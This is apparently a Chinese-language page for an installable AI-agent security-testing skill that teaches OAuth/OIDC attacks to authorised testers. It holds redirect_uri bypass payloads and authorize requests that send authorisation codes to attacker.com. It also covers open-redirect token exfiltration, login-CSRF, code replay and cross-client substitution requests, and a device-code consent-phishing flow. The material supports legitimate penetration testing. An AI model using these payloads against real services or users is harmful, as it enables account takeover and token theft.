关于 attacking-oauth-oidc
这是面向授权安全测试人员的 OAuth 和 OIDC 流程审查技能,涵盖授权请求、回调与令牌验证中的常见缺陷。它以逐项测试检查点指导发现账户接管和令牌泄露风险。
主要功能
- 01检查 redirect_uri 与开放重定向
- 02测试 state、nonce 和 PKCE
- 03审查授权码重放与跨客户端替换
- 04检查隐式流与响应参数混淆
- 05验证令牌用途及 id_token 声明
适用场景
- 01测试联合登录回调的 CSRF 防护
- 02评估 SPA 或移动应用的 PKCE 实施
- 03审查授权范围提升与静默同意
- 04检查账户关联中的邮箱验证逻辑
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-oauth-oidc安装后在 Claude Code 中输入/attacking-oauth-oidc确认已加载。
详细介绍
攻击 OAuth 和 OIDC
OAuth 是一种委托协议,其安全性完全取决于浏览器转发的参数——redirect_uri、state 和 scope。因此,大多数漏洞都源于授权服务器或客户端对其中某个参数过于信任。令牌是目标;流程才是攻击面。跟踪携带授权码的重定向,就能跟踪到凭据。
仅针对你获准测试的系统。
何时使用
- 登录页面提供“使用 Google / Microsoft / GitHub / Apple 登录”或其他任何联合身份按钮
- 你看到
/authorize、/oauth/token、/oauth2/authorize,或携带code=、state=或#access_token=的回调 URL - 请求中包含
response_type、redirect_uri、client_id、scope或nonce - OIDC 发现文档位于
/.well-known/openid-configuration - 应用在服务器端用授权码换取令牌,或接受
id_token来建立会话 - 一方 SPA 或移动应用运行授权码加 PKCE 流程
何时不使用
- 伪造、破解或篡改已签发的令牌本身(算法混淆、
kid注入、HMAC 密钥过弱、none)——使用attacking-jwt - 与身份验证流程无关的一般 Web 应用测试——使用
testing-web-applications - 已持有有效访问令牌后对资源 API 的测试——使用
testing-apis - 专门针对 Entra/Azure AD 租户授权、应用注册滥用和多租户应用的攻击——使用
attacking-entra-id - 针对真人用户的一面——大规模开展同意钓鱼或非法授权活动——使用
performing-social-engineering
枚举服务器:先看发现文档
OIDC 发现文档会提供完整的攻击地图——每个端点、支持的流程和密钥集。
curl -s https://target/.well-known/openid-configuration | jq .
# Also try, per-tenant / per-realm:
# https://target/.well-known/oauth-authorization-server
# https://login.target/<tenant>/v2.0/.well-known/openid-configuration
# https://target/auth/realms/<realm>/.well-known/openid-configuration (Keycloak)
重点查看以下字段:
authorization_endpoint、token_endpoint、userinfo_endpoint——流程jwks_uri——用于验证id_token的密钥(可交由attacking-jwt处理)response_types_supported——是否允许token或id_token token(隐式流程)?code是唯一选项吗,还是可以降级?grant_types_supported——是否包含implicit、password或urn:ietf:params:oauth:grant-type:device_code?code_challenge_methods_supported——如果缺失,可能未强制执行 PKCEscopes_supported、claims_supported——权限提升选项
也要拉取客户端代码包:SPA JavaScript 几乎总会内嵌 client_id、已配置的 redirect_uri 和作用域列表。
redirect_uri 验证:核心漏洞
一切都取决于授权服务器愿意将授权码发送到哪里。如果你能让它把授权码发送到你控制的主机,流程就被攻破了。逐一检查验证弱点——注册配置过于宽松,或使用前缀/子字符串匹配而非精确匹配,都是常见问题。
Registered: https://app.example.com/callback
Path traversal / appended path (prefix match, not exact)
https://app.example.com/callback/../../attacker
https://app.example.com/callback/anything (allowed if it startswith-checks)
https://app.example.com/callback.attacker.com/
Subdomain / domain-suffix weakness (regex or "endswith" match)
https://attacker.app.example.com/callback
https://app.example.com.attacker.com/callback
https://appXexample.com/callback (unescaped . in regex)
Parser confusion — validator and browser disagree on the host
https://attacker.com\@app.example.com/callback
https://[email protected]/callback
https://attacker.com%[email protected]/
https://attacker.com#@app.example.com/
https://attacker.com%23.app.example.com/
Scheme / userinfo / whitespace
http://app.example.com/callback (downgrade to plaintext)
https://app.example.com%00.attacker.com/callback
///attacker.com/callback //attacker.com/callback
localhost is frequently allow-listed with no port check
http://localhost:1337/callback http://127.0.0.1/callback
http://localhost.attacker.com/callback
将授权请求中的授权码指向你的主机:
GET /authorize?response_type=code
&client_id=REAL_CLIENT_ID
&redirect_uri=https://attacker.com/callback
&scope=openid%20email%20profile
&state=xyz HTTP/1.1
Host: login.target
如果授权码被发送到 attacker.com,你就可以用它换取令牌(或者受害者的浏览器会替你交付授权码)。还要测试每个读取 redirect_uri 的位置——授权请求、令牌交换,以及每个客户端存储的默认值——因为有些服务器在 /authorize 阶段严格验证,在 /token 阶段却宽松验证,反之亦然。
将开放重定向用作数据外泄通道
当 redirect_uri 必须位于真实域名上时,该域名上的开放重定向就成了数据外泄通道:服务器将授权码发送到允许列表中的主机,该主机再通过 302 重定向将授权码(位于查询字符串中)或整个片段转发给你。
redirect_uri=https://app.example.com/redirect?next=https://attacker.com/
# code lands on app.example.com, its open redirect forwards it (and often the
# ?code=... query, via Referer or an explicit passthrough) to attacker.com
检查允许来源中的任何 next=、returnUrl=、RelayState= 或 continue= 参数。这正是为什么即使“精确匹配的 redirect_uri”最终指向你自己的域名,也仍然不安全。
state:回调中的 CSRF
state 是 OAuth 的 CSRF 令牌。如果它缺失、固定不变、可预测,或返回时未经过验证,攻击者就能将自己的授权码拼接到受害者的会话中,实施登录 CSRF/账户注入攻击。
1. Attacker starts the flow, captures their own code but does NOT complete it.
2. Attacker delivers the callback to the victim:
https://app.example.com/callback?code=ATTACKER_CODE (no/ignored state)
3. Victim's browser completes it; victim's account is now linked to the
attacker's identity provider account -> attacker logs in as the victim.
测试方法:完全移除 state,重放之前某次流程中的 state,并修改返回的 state 中的一个字符。如果回调仍然完成,就说明没有验证它。OIDC 中的 nonce 也要同样处理——它的作用是防止 id_token 被重放。
PKCE:缺失与降级
PKCE 会将授权码绑定到发起请求的客户端,从而阻止授权码被拦截。跳过 PKCE 的公共客户端(SPA、移动应用)会暴露在风险中:任何攻击者都可能从重定向、Referer 或拦截应用中窃取授权码。
# Authorize with a challenge:
GET /authorize?...&code_challenge=BASE64URL(SHA256(verifier))&code_challenge_method=S256
Checks:
- Omit code_challenge entirely -> does /token still return a token? (not enforced)
- Send code_challenge_method=plain with challenge == verifier (downgrade)
- Exchange the code with the WRONG code_verifier -> is it accepted? (not verified)
- Reuse the same verifier across two flows
如果在某个流程中获取的授权码无需匹配的验证器也能兑换,那么 PKCE 就只是装饰。
Implicit Flow:令牌泄漏
response_type=token / id_token token 会将令牌返回在 URL 的片段中,因此令牌会通过浏览器历史记录、子资源加载时的 Referer 标头,以及回调页面上的任何 JavaScript 泄漏。
GET /authorize?response_type=token&client_id=...&redirect_uri=https://app.example.com/cb
# -> 302 to https://app.example.com/cb#access_token=ya29...&token_type=Bearer
即使预期采用授权码流程,也强制使用 implicit 流(response_type=token),并结合 redirect_uri 或开放重定向漏洞——片段会随之传递,令牌也就被外泄。建议将降级到 implicit 流报告为高危:它会把片段中的内容变成地址栏里的持有者凭证。
授权码注入、重放与跨客户端替换
在正确的实现中,授权码只能使用一次,并且绑定到客户端。测试这三个属性。
- 重放 — 在
/token处将同一个code兑换两次。第二次尝试必须失败;如果第二次也能获取令牌,说明授权码未失效。 - 注入 — 将你自己会话中获取的授权码注入受害者的回调(即上文提到的不带
state攻击),或将受害者泄漏的授权码注入你自己的会话,以受害者身份登录。 - 跨客户端替换 — 获取为
client_id=A签发的授权码,并在/token处使用client_id=B兑换(两个应用位于同一个授权服务器上)。如果服务器未将授权码绑定到签发它的客户端,那么为低价值应用签发的授权码就能换取高价值应用的令牌。
POST /oauth/token HTTP/1.1
Host: login.target
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=VICTIM_OR_OTHER_CLIENT_CODE
&redirect_uri=https://app.example.com/callback
&client_id=DIFFERENT_CLIENT_ID&client_secret=...
权限范围升级与绕过授权
向授权请求中添加权限范围,查看服务器是否会在不重新提示用户授权的情况下授予这些范围——尤其是在重新授权时;许多服务器会对已授权的客户端跳过授权提示,并静默附加新的权限范围。
# Request more than the app normally asks for:
scope=openid email profile offline_access admin read:all
检查:offline_access(长期有效的刷新令牌)是否会被静默授予?如果注入客户端从未请求过的权限范围,它们是否会生效?返回令牌的实际权限范围是否超出用户授权的范围?降级攻击同样值得关注——先以较窄的权限范围进行授权,然后静默重新授权并扩大范围。
response_mode / response_type 混淆
混用响应参数可能会将令牌移至未覆盖验证的位置,或导致流程降级。
response_mode=form_post -> token delivered in a POST body (bypasses fragment
handling and some referer protections)
response_mode=web_message -> token posted via postMessage; test the target-origin
check for a wildcard or missing origin validation
response_type=code%20token / code%20id_token -> hybrid flow; a code AND a
front-channel token, doubling the leak surface
access_token 与 id_token 混淆
access_token 用于调用资源 API;id_token 用于向客户端证明用户身份。后端经常会混淆二者。
- 接受
id_token作为持有者令牌的资源服务器(因为二者都是 JWT),会信任客户端本不应向其提供的令牌。 - 使用
access_token(不透明或验证宽松的字符串)而非经过正确验证的id_token来验证会话的客户端,可能会收到为其他受众签发的令牌。 - 令牌端点会同时返回二者;尝试在每个令牌使用方处分别使用二者,并留意哪些令牌在不应被接受的地方被接受。
id_token 验证缺陷
客户端必须验证 id_token 签名是否与 jwks_uri 匹配,并且校验声明。缺少声明校验会导致账户被接管。
- 未校验
iss——接受来自其他(由攻击者控制的)签发者的令牌。 - 未校验
aud——在同一身份提供方(IdP,如 Google、Microsoft)上为其他客户端签发的令牌会在此处被重放。这是经典的多租户/社交 IdP 账户接管。 - 多受众令牌中的
azp(授权方)被忽略。 - 未强制校验
exp/nonce——旧令牌或被截获令牌可被重放。
签名相关攻击——alg:none、alg HS256/RS256 混淆、kid 注入,以及将 jku/x5u 指向攻击者密钥——见 attacking-jwt。从发现文档获取 jwks_uri,并交由该模块处理。
通过信任电子邮件实现“使用 X 登录”账户接管
收益最高的联合身份认证漏洞:客户端根据 email 声明关联或创建账户,并将其视为已验证的唯一标识。
- 提供方返回了
email,但没有email_verified,或客户端忽略了email_verified——在 IdP 注册时使用受害者的电子邮件地址(未验证),客户端便会将你的身份关联到对方账户。 - 客户端通过电子邮件匹配现有本地账户并进行联合身份认证——在宽松的提供方注册相同电子邮件地址,可实现预先劫持或账户接管。
- 多个 IdP 登录按钮(“Google”和“GitHub”)都以电子邮件为匹配依据——通过你能控制未验证电子邮件地址的提供方登录,且该地址与受害者的地址相同。
在关联任何账户之前,务必检查实际返回的 userinfo / id_token 声明,以及是否存在并强制校验 email_verified。
设备代码流与同意钓鱼(非法授权)
设备授权授予(urn:ietf:params:oauth:grant-type:device_code)和普通同意页面是钓鱼攻击面:攻击者发起流程,获取 user_code / 验证 URL,并诱导受害者批准,从而在无需伪造登录页面的情况下将令牌交给攻击者。
POST /oauth/device/code client_id=REAL_CLIENT_ID&scope=openid%20offline_access
# -> device_code, user_code, verification_uri
# Victim visits the REAL verification_uri, enters the code, approves ->
POST /oauth/token grant_type=...device_code&device_code=...&client_id=...
# attacker polls and receives access + refresh tokens
受害者看到的是真实提供方的同意页面,这正是此攻击有效的原因。针对真实用户大规模实施此类攻击属于 performing-social-engineering 测试;针对 Entra 的特定非法同意授权(恶意多租户应用),请使用 attacking-entra-id。
应当驳斥的借口
- “redirect_uri 已根据允许列表进行验证。” 是精确匹配还是前缀匹配?测试路径遍历、子域名后缀、
@/%2F/#解析器绕过技巧,以及允许列表主机上的开放重定向。 - “我们使用授权码流,不使用隐式流——所以是安全的。” 授权码可能泄露、被重放,也可能跨客户端使用。另外,还要检查
response_type=token是否仍然有效。 - “state 是可选的;SDK 会处理 CSRF。” 移除它试试看。未验证
state就能完成的回调可被用于注入账户。 - “已配置 PKCE。” 配置了不代表会强制执行。省略质询、发送错误的验证器,并尝试降级为
plain。 - “这是来自 Google 的 JWT,所以可信。” 对哪个
aud可信?如果不检查受众,为其他客户端签发的令牌就可能导致账户接管。 - “我们通过电子邮件匹配用户——电子邮件是唯一的。” 只有存在并强制校验
email_verified时才成立。未验证的电子邮件地址可由攻击者自行指定。 - “同意页面来自真实提供方,所以这是合法的。” 设备代码和非法授权钓鱼恰恰依赖这个真实页面。
ATT&CK 覆盖
根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据
当前 ATT&CK 版本重新核实。
凭据访问(TA0006)
- T1528 窃取应用访问令牌——另请参阅
testing-apis、exploiting-cloud-platforms、attacking-entra-id - T1606 伪造 Web 凭据——另请参阅
attacking-jwt
这些内容的检测方法:engineering-detections。主动搜索:hunting-threats。入侵后处置:responding-to-incidents。
参考资料
attacking-jwt— 在获得id_token/access_token后伪造、破解并绕过验证(算法混淆、kid、jku、弱密钥)testing-web-applications— 登录流程周边的应用testing-apis— 持有令牌后测试资源服务器attacking-entra-id— Entra/Azure 租户同意、应用注册和多租户非法授权滥用reporting-security-findings— redirect_uri、state 和账户接管相关发现的严重程度- Burp Suite(使用 Repeater 发送 authorize/token 请求,使用浏览器代理捕获完整重定向链);面向 OAuth 的 Burp 扩展——EsPReSSO 和 JWT 编辑器,用于解码前端通道令牌;mitmproxy 用于捕获 Burp HTTP 历史记录中遗漏的片段和跨源
postMessage流量